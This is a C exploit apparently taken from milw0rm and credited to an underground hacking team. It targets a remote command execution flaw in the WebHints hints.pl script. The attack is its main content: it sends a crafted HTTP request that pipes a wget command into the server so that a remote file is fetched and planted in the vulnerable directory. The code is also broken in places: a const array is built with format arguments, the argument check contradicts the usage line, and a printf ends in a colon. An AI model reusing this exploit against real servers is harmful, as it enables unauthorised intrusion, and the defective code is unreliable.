/* ************************************************************************************** * T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m * ************************************************************************************** EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln Coded By: A l p h a _ P r o g r a m m e r (Sirus-v) E-Mail: Alpha_Programmer@Yahoo.Com This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself ************************************************************************************** * GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke * *And Iranian Security & Technical Sites: * * * * TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG * * Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT * ************************************************************************************** */ #include #include #include #pragma comment(lib, "ws2_32.lib") #include #define MY_PORT 80 #define BUF_LEN 256 /**************************************************************************************/ int main(int arg_c, char *arg_v[]) { static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3]; struct sockaddr_in their_adr; char buf[BUF_LEN]; struct hostent *he; int sock, i; WSADATA wsdata; /* Winsock start up */ WSAStartup(0x0101, &wsdata); atexit((void (*)(void))WSACleanup); if(arg_c != 3) { printf("=========================================================\n"); printf(" Webhints Exploit By Alpha_Programmer\n"); printf(" Trap-set Underground Hacking Team\n"); printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n"); printf("=========================================================\n"); return 1; } /* create socket */ printf("calling socket()...\n"); sock = socket(AF_INET, SOCK_STREAM, 0); /* get IP address of other end */ printf("calling gethostbyname()...\n"); he = gethostbyname(arg_v[1]); if(he == NULL) { printf("can't get IP address of host '%s'\n", arg_v[1]); return 1; } memset(&their_adr, 0, sizeof(their_adr)); their_adr.sin_family = AF_INET; memcpy(&their_adr.sin_addr, he->h_addr, he->h_length); their_adr.sin_port = htons(MY_PORT); /* connect */ printf("C0nnecting...\n"); i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr)); if(i != 0) { printf("C0nnect() returned %d, errno=%d\n", i, errno); return 1; } /* send H3ll C0mmand */ printf("Sending H3ll Packets...\n"); i = send(sock, cmd, sizeof(cmd), 0); if(i != sizeof(cmd)) { printf("Send. returned %d, errno=%d\n", i, errno); return 1; }\n printf("OK ... Now You Can Test your file in hints.pl Directory\n"): closesocket(sock); return 0; } // milw0rm.com [2005-06-11]